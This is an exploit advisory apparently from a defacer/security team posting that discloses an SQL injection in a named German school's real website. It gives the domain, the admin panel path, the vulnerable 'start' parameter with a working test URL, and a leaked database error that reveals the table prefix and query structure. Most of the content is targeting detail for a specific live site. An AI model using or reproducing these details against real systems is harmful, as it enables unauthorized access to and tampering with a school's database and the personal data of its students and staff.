Realschule Niederpleis Sankt Augustin SQL Injection

###################################################################

# Exploit Title : Realschule Niederpleis Sankt Augustin SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 23/08/2019
# Vendor Homepage : realschule-niederpleis-sankt-augustin.de
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos

###################################################################

# Impact :
***********
Realschule Niederpleis Sankt Augustin is prone to an SQL-injection vulnerability because
it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or
modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.

###################################################################

# Admin Panel Login Path :
**************************
/administrator/

# SQL Injection Exploit :
**********************
/index.php/news-2?allcomments=1&categoryid=[ID-NUMBER]?format=feed&format=feed&start=[SQL Injection]

/index.php/news-2?allcomments=1&categoryid=86?format=feed&format=feed&start=[SQL Injection]

###################################################################

# Example Vulnerable Sites :
*************************
[+] realschule-niederpleis-sankt-augustin.de/index.php/news-2?allcomments=1&categoryid=86?format=feed&format=feed&start=1%27

###################################################################

# Example SQL Database Error :
****************************
You have an error in your SQL syntax; check the manual that corresponds to your
MariaDB server version for the right syntax to use near 'AND c.state=1 AND
( c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <= ' at line 3 SQL=
SELECT c.* , u.username, u.name, u.id as userid , cat.title as categorytitle FROM
wvjlh_content as c, wvjlh_users as u, wvjlh_categories as cat WHERE AND
c.state=1 AND ( c.publish_up = '0000-00-00 00:00:00' OR c.publish_up <=
'2019-08-22 17:33:58' ) AND ( c.publish_down = '0000-00-00 00:00:00' OR
c.publish_down >= '2019-08-22 17:33:58' ) AND c.created_by=u.id AND
c.catid=cat.id AND c.access IN (1,1) AND c.catid=cat.id ORDER BY
c.publish_up DESC LIMIT 1, 5

###################################################################

# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team

###################################################################